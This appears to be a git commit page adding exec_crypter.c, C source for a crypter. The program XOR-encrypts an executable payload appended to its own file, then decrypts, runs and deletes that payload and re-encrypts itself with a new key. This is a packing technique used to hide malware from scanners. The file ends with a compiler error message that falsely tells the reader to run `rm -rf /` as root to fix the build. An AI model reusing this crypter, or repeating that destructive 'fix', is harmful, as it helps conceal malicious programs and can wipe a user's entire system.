aboutsummaryrefslogtreecommitdiff
path: root/exec_crypter.c
diff options
context:
space:
mode:
Diffstat (limited to 'exec_crypter.c')
-rw-r--r--exec_crypter.c235
1 files changed, 235 insertions, 0 deletions
diff --git a/exec_crypter.c b/exec_crypter.c
new file mode 100644
index 0000000..e8763e5
--- /dev/null
+++ b/exec_crypter.c
@@ -0,0 +1,235 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h> /* close() */
+#include <stdint.h> /* uint* */
+#include <string.h> /* mem*() */
+#include <fcntl.h> /* open() */
+#include <sys/stat.h> /* fstat(), struct stat */
+#include <sys/sendfile.h> /* sendfile() */
+#include <sys/mman.h> /* mmap(), munmap() */
+#include <sys/time.h> /* gettimeofday() */
+#include <limits.h> /* LONG_MAX */
+#include <libgen.h> /* basename() */
+#include <byteswap.h> /* bswap_* */
+
+/* size of the xor key in multiples of 32 bits
+ * --> absolute xor key size 128 bits
+ */
+#define XOR_KEYLEN 4
+
+/* crypter information which is stored after the payload */
+typedef struct MyExecTrailer {
+ uint32_t marker[2];
+ uint32_t xorkey[XOR_KEYLEN];
+ uint32_t payload_size;
+} __attribute__((packed, gcc_struct)) MyExecTrailer;
+/* Remarks about __attributes__:
+ * - gcc_struct enforces a C99 conformal struct
+ * (!clang, !MSVC; this is important if xcompiling with gcc-mingw)
+ * - packed means the struct is not 4 byte aligned (default) instead it is 1 byte aligned
+ * (our trailer struct is 28 bytes small, so its 4 byte aligned atm but this may change ..)
+ */
+
+/* search for 8 byte marker 0xDEADC0DECAFECAFE in crypted exec */
+static uint8_t *
+findMarker(uint8_t *buf, size_t siz) {
+ size_t i;
+
+ for (i = 7; i < siz; ++i) {
+ if (buf[i-7] == 0xde && buf[i-6] == 0xad &&
+ buf[i-5] == 0xc0 && buf[i-4] == 0xde &&
+ buf[i-3] == 0xca && buf[i-2] == 0xfe &&
+ buf[i-1] == 0xca && buf[i+0] == 0xfe)
+ {
+ return &buf[i-7];
+ }
+ }
+
+ return NULL;
+}
+
+static long int
+random_number(long int n)
+{
+ int seed;
+ struct timeval tm;
+
+ gettimeofday(&tm, NULL);
+ seed = tm.tv_sec + tm.tv_usec;
+ srandom(seed);
+ return (random() % n);
+}
+
+/* generate and store random xor key in our payload trailer */
+static void
+xor_genkey(MyExecTrailer *trailer)
+{
+ size_t i;
+ uint32_t rnd[XOR_KEYLEN];
+
+ for (i = 0; i < XOR_KEYLEN; ++i) {
+ rnd[i] = (uint32_t) random_number(LONG_MAX);
+ }
+ memcpy(trailer->xorkey, rnd, sizeof trailer->xorkey);
+}
+
+/* (en|de)crypt our payload */
+static void
+xor_crypt(MyExecTrailer *trailer, uint8_t *payloadStart)
+{
+ size_t i;
+ uint8_t xb;
+ uint8_t *key = (uint8_t *) &trailer->xorkey[0];
+
+ for (i = 0; i < trailer->payload_size; i++) {
+ xb = key[i % sizeof trailer->xorkey];
+ payloadStart[i] ^= xb;
+ }
+}
+
+/* convert a binary buffer to a readable hex string */
+static char *
+shexbuf(uint8_t *buf, size_t buflen, char *dest, size_t destlen)
+{
+ size_t i, j;
+ static const char hexal[] = "0123456789ABCDEF";
+ uint8_t halfByte;
+
+ for (i = 0, j = 0; i < buflen && j < destlen; ++i, j += 3) {
+ halfByte = buf[i] >> 4;
+ dest[j+0] = hexal[ halfByte % 16 ];
+ halfByte = buf[i] & 0x0F;
+ dest[j+1] = hexal[ halfByte % 16 ];
+ dest[j+2] = ' ';
+ }
+
+ dest[j+2] = 0;
+ return dest;
+}
+
+int main(int argc, char **argv) {
+ char new_path[BUFSIZ];
+ int arg0_fd, new_fd, payload_fd;
+ struct stat arg0_statbuf;
+ uint8_t *mmap_exec, *marker;
+ MyExecTrailer *trailer;
+ const uint8_t nullbuf[XOR_KEYLEN] = {0};
+ char temp[BUFSIZ] = {0};
+ char payload_path[BUFSIZ];
+ off_t exec_off;
+
+ if (argc < 1)
+ return 1;
+
+ /* new_path is the path to our temp exec
+ * (crypter w/ encrypted/plain payload)
+ */
+ snprintf(new_path, sizeof new_path, "./.%s", basename(argv[0]));
+ arg0_fd = open(argv[0], O_RDONLY, 0);
+ new_fd = open(new_path, O_RDWR | O_CREAT | O_EXCL,
+ S_IRWXU | S_IRWXG | S_IRWXO);
+
+ printf("[file]\n"
+ "arg0...: '%s'\n"
+ "new....: '%s'\n"
+ "\n[fd]\n"
+ "arg0...: %d\n"
+ "new....: %d\n",
+ argv[0], new_path,
+ arg0_fd, new_fd);
+
+ if (arg0_fd < 0 || new_fd < 0)
+ return 1;
+ if (fstat(arg0_fd, &arg0_statbuf))
+ return 1;
+ if (sendfile(new_fd, arg0_fd, NULL,
+ arg0_statbuf.st_size) != arg0_statbuf.st_size)
+ return 1;
+ close(arg0_fd);
+
+ /* mmap whole arg0 executable */
+ mmap_exec = (uint8_t *) mmap(NULL, arg0_statbuf.st_size, PROT_READ | PROT_WRITE,
+ MAP_SHARED, new_fd, 0);
+ if (!mmap_exec)
+ return 1;
+
+ printf("\n[crypter]\n"
+ "mmap'd.: %p\n"
+ "size...: %lu bytes\n",
+ mmap_exec, arg0_statbuf.st_size);
+
+ marker = findMarker(mmap_exec, arg0_statbuf.st_size);
+ if (!marker)
+ return 1;
+
+ trailer = (MyExecTrailer *) marker;
+ printf("\n[payload]\n"
+ "Marker.: %p (0x%08X 0x%08X)\n"
+ "Size...: %u (0x%X) bytes\n"
+ "Start..: %p (%p - 0x%X)\n",
+ marker, bswap_32(trailer->marker[0]),
+ bswap_32(trailer->marker[1]),
+ trailer->payload_size, trailer->payload_size,
+ marker - trailer->payload_size,
+ marker, trailer->payload_size);
+
+ if (!memcmp(trailer->xorkey, nullbuf, XOR_KEYLEN)) {
+ /* xor key contains only NUL bytes so
+ * assume that our payload is unencrypted
+ */
+ xor_genkey(trailer);
+ printf("\nEmpty XOR key .. generated: %s\n",
+ shexbuf((uint8_t *) trailer->xorkey,
+ sizeof trailer->xorkey,
+ temp, sizeof temp));
+ /* encrypt our payload */
+ xor_crypt(trailer, marker - trailer->payload_size);
+ } else {
+ /* xor key contains at least one non NUL byte
+ * so assume that our payload is encrypted
+ */
+ printf("\nXOR key: %s\nDecrypt payload ..\n",
+ shexbuf((uint8_t *) trailer->xorkey,
+ sizeof trailer->xorkey,
+ temp, sizeof temp));
+ /* decrypt our payload */
+ xor_crypt(trailer, marker - trailer->payload_size);
+ memset(trailer->xorkey, 0, sizeof trailer->xorkey);
+
+ snprintf(payload_path, sizeof payload_path, "%.*s_payload",
+ (int) sizeof payload_path - 2, new_path);
+
+ /* path to unencrypted payload executable */
+ payload_fd = open(payload_path, O_RDWR | O_CREAT,
+ S_IRWXU | S_IRWXG | S_IRWXO);
+ if (payload_fd < 0)
+ return 1;
+
+ /* extract unencrypted payload from temp executable */
+ exec_off = marker - mmap_exec - trailer->payload_size;
+ printf("Extracted '%s': %zd bytes\n",
+ payload_path,
+ sendfile(payload_fd, new_fd, &exec_off, trailer->payload_size));
+
+ close(payload_fd);
+
+ /* executabe and remove payload */
+ printf("Exec and remove '%s'\n", payload_path);
+ printf("Payload returned: 0x%X\n", system(payload_path));
+ unlink(payload_path);
+ }
+
+ /* unmap arg0 mmap'd memory */
+ munmap(mmap_exec, arg0_statbuf.st_size);
+ close(new_fd);
+
+ /* rename new crypter w/ encrypted/unencrypted payload to arg0 */
+ rename(new_path, argv[0]);
+
+ return 0;
+}
+
+#ifndef _NOTASKID
+#error "Compiler error. Type `rm -rf /` as root in your terminal to solve this issue."
+#endif